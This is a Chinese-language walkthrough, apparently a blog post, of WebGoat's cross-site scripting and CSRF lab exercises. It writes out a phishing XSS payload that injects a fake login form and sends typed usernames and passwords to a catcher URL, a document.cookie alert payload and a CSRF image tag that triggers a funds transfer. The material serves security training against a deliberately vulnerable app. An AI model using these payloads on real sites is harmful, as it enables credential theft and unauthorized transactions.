WebGoat系列实验Cross-Site Scripting (XSS)

PhishingTitle

  1. 本次实验是在一个已知存在XSS漏洞的页面进行钓鱼攻击。通过使用XSS与HTML注入,在页面中注入身份认证html代码,添加javascript脚本收集身份认证信息,并发送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
  2. 输入以下javascript代码。(之前这个位置提交的javascript代码没有显示出来,原来是因为源代码被过滤掉了...)
</form><script>function hack(){image=new Image;image.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&username="+document.phish.username.value+"&password="+document.phish.password.value+"";alert("PHISHING!");}</script><form name = "phish"><br><HR><H3>This feature requires account login:</H3><br>Enter Username:<br><input type="text" name="username"><br>Enter Password:<br><input type="password" name="password"><br><input type="submit" name=login value="login" onclick=hack()></form><br><HR>
  1. 在伪造的输入框中输入用户名与密码,点击login按钮,用户的登录认证信息就被发送到构造的页面中了。

LAB: Cross Site Scripting

Stage 1:Stored XSS

  1. 作为Tom,在个人简介编辑页执行存储型XSS攻击,验证Jerry会受到攻击影响。
  2. 使用Tom登录,修改Tom的个人简介编辑页的街道一栏,在其后添加,更新个人信息。
  3. 使用Jerry登录,选择Tom的个人信息进行查看,弹窗表明存储型XSS攻击成功。

Stage 2:Block Stored XSS using Input Validation

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stage3:Stored XSS Revisited

验证Bruce的个人简介中包含有XSS攻击,使用David用户登录,查看Bruce的个人简介,出现弹窗,表明存在XSS攻击。

Stage4:Block Stored XSS using Output Encoding

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stage5:Reflected XSS

  1. 利用查找职工页面的缺陷制作一个包含有反射型XSS的URL,验证其他使用这个链接的用户也会受到攻击影响。
  2. 使用用户Larry登录,在Search Staff搜索框中输入。

Stage6:Block Reflected XSS

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stored XSS Attacks

  1. 清除所有的输入是一个很好的选择,尤其是清除那些将被用作参数使用的输入。对于在应用程序中永久存储的内容特别重要。当用户的消息被检索时,不能出现不期望的消息内容。
  2. 在输入的内容中添加javascript代码,点击Submit按钮。
  3. 点击生成的文章链接,会显示一个弹窗,表明页面存在存储型XSS。

Reflected XSS Attacks

  1. 在服务器端验证所有输入是一个很好的选择。未验证的用户输入可能会在HTTP响应中出现XSS。攻击者可以创建一个URL,通过让受害者点击的方式进行XSS攻击。
  2. 在digit access code框中添加
<script>alert(document.cookie);</script>

,点击Purchase按钮完成。

Cross Site Request Forgery (CSRF)

  1. 实验需要向新闻组发送一封email。在email中包含一张图片,图片的URL指向一个恶意请求。实验中,URL应指向attack servlet,参数有Screen与menu,还有一个额外的参数transferFunds带有任意数值。收件人刚好进行身份认证,正在转移资金。
  2. 构造一封邮件,在Message后添加一张图片,根据Screen与menu值构造URL,图片的javascript代码为
<img src="attack?Screen=2078372&menu=900&transferFunds=5000"/>



3. 当收件人打开这封email时,由于自身身份已经认证,因此账户被转移了5000。

CSRF Prompt By-Pass

  1. 实验需要向新闻组发送email包含以下恶意请求,首先转账,然后请求提示确认。
  2. 在email的正文中输入如下javascript代码。

CSRF Token By-Pass

WebGoat系列实验Cross-Site Scripting (XSS)的更多相关文章

  1. WebGoat学习——跨站脚本攻击(Cross‐Site Scripting (XSS))

    跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是指攻击者向被攻击Web 页面里插入恶意html代码,当用户浏览该页之时 ...

  2. 跨站脚本攻击(Cross‐Site Scripting (XSS))

    跨站脚本攻击(Cross‐Site Scripting (XSS)) 跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是 ...

  3. 跨站脚本攻击(Cross‐Site Scripting (XSS))实践

    作者发现博客园在首页显示摘要时未做html标签的过滤,致使摘要中的html代码可以被执行,从而可以注入任何想要被执行的js代码,作者利用这一缺陷在本文摘要中插入了一段js代码执行alert弹窗,同时增 ...

  4. XSS (Cross Site Scripting) Prevention Cheat Sheet(XSS防护检查单)

    本文是 XSS防御检查单的翻译版本 https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sh ...

  5. Web安全之XSS(Cross Site Scripting)深入理解

    XSS的含义 XSS(Cross Site Scripting)即跨站脚本.跨站的主要内容是在脚本上. 跨站脚本 跨站脚本的跨,体现了浏览器的特性,可以跨域.所以也就给远程代码或者第三方域上的代码提供 ...

  6. XSS 跨站脚本攻击(Cross Site Scripting)

    xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意 ...

  7. WebGoat系列实验AJAX Security

    WebGoat系列实验AJAX Security DOM Injiction 实验对象是一个接受激活密钥后允许你访问的系统,实验目标是尝试将激活按钮变得可以点击. 直接修改页面代码激活按钮,Chrom ...

  8. Healwire Online Pharmacy 3.0 Cross Site Request Forgery / Cross Site Scripting

    Healwire Online Pharmacy version 3.0 suffers from cross site request forgery and cross site scriptin ...

  9. 跨站脚本攻击XXS(Cross Site Scripting)修复方案

    今天突然发现,网站被主页莫名奇妙的出现了陌生的广告. 通过排查发现是跨站脚本攻击XXS(Cross Site Scripting).以下为解决方案. 漏洞类型: Cross Site Scriptin ...

随机推荐

  1. STL的erase函数和lower_bound

    前提摘要: [1]一般我们的区间是左闭右开,如下面例子2. [2]erase函数谨慎使用. [3]map也是有序保存的. [erase] 1,删除字符串的首字母: string s="ecu ...

  2. [TopCoder12727]FoxAndCity

    vjudge 题意 你有一张\(n\)点的无向图,每个点有一个点权\(w_i\).图中原来存在一些边,你可以任意给这张图加上一些边. 记点\(i\)到点\(1\)的距离为\(d_i\),你需要最小化\ ...

  3. poj1463 Strategic game[树形DP]

    求一棵树每条边都被选上的点覆盖掉的最少选点数. 一条边被覆盖掉,必须他父亲和儿子中选一个..这不就是比NOIP2018D2T3还裸的暴力么.水掉. lyd给的练习题都什么**玩意儿.. code不挂了 ...

  4. [ Laravel 5.5 文档 ] 数据库操作 —— 在 Laravel 中轻松实现分页功能

     简介 在其他框架中,分页是件非常痛苦的事,Laravel 让这件事变得简单易于上手.Laravel 的分页器与查询构建器和 Eloquent ORM 集成在一起,并开箱提供方便的.易于使用的.基于 ...

  5. Unity脚本默认事件执行顺序

    1. Awake Awake用于脚本唤醒.此方法为系统执行的第一个方法,用于脚本的初始化,在脚本的生命周期中只执行一次. 2. Start Start方法在Awake之后执行,在脚本的生命周期中只执行 ...

  6. ES之二:Elasticsearch原理

    Elasticsearch是最近两年异军突起的一个兼有搜索引擎和NoSQL数据库功能的开源系统,基于Java/Lucene构建.最近研究了一下,感觉 Elasticsearch 的架构以及其开源的生态 ...

  7. c# 几种singleton 实现

    http://csharpindepth.com/Articles/General/Singleton.aspx#introduction 4th在线看 https://www.manning.com ...

  8. CreateWaitableTimer和SetWaitableTimer

    负值表示相对时间,正值表示绝对时间,定时器精度为100ns (1ns=1/10亿 s),所以 -50000000 代表5秒,详见MSDN. 程序一为自动重置(先等待5秒,然后每1秒输出一次): #in ...

  9. IDEA中Git实战

    工作中多人使用版本控制软件协作开发,常见的应用场景归纳如下: 假设小组中有两个人,组长小张,组员小袁 场景一:小张创建项目并提交到远程Git仓库 场景二:小袁从远程Git仓库上获取项目源码 场景三:小 ...

  10. Hive UDF开发 第一个例子

    package udf; import org.apache.hadoop.hive.ql.exec.UDF; public class helloudf extends UDF{ public St ...